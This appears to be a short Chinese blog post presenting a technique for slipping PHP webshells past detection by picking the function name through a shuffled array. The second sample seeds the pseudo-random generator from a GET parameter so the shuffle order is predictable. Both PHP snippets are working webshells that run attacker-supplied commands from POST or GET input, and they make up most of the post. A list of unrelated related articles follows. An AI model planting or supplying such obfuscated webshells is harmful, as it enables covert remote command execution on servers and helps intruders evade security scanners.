记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
百度安全1 小时前
HugeGraph 晋升 Apache 顶级项目 百度安全持续筑牢 AI 时代图数据基础设施
数据库·人工智能·安全·知识图谱
@杰克成1 小时前
Java学习22
java·python·学习·idea
Hello_Embed1 小时前
串口硬件结构与三种编程方式
笔记·stm32·学习·ai编程
经济元宇宙1 小时前
2026 工厂搬运自动化:主流 AMR 品牌技术与应用深度测评
数码相机·学习
Bruce_Liuxiaowei1 小时前
AI投毒产业链曝光:安全工程师怎么看、怎么防
人工智能·安全·ai·投毒
HalvmånEver2 小时前
MySQL事务(一)
linux·数据库·学习·mysql
van久2 小时前
Day22:JWT 完整学习笔记 + 原理 + 面试题 + 帮助类封装
笔记·学习
~黄夫人~3 小时前
Kubernetes 入门到实战:概念详解 + kubeadm 安装 + 节点克隆全流程
linux·运维·学习·k8s·集群
Amy187021118233 小时前
虚拟电厂为什么必须“牵手”微电网?答案全在这里
分布式·安全·能源
_李小白3 小时前
【android opencv学习笔记】Day 12: HSV 色彩空间
android·opencv·学习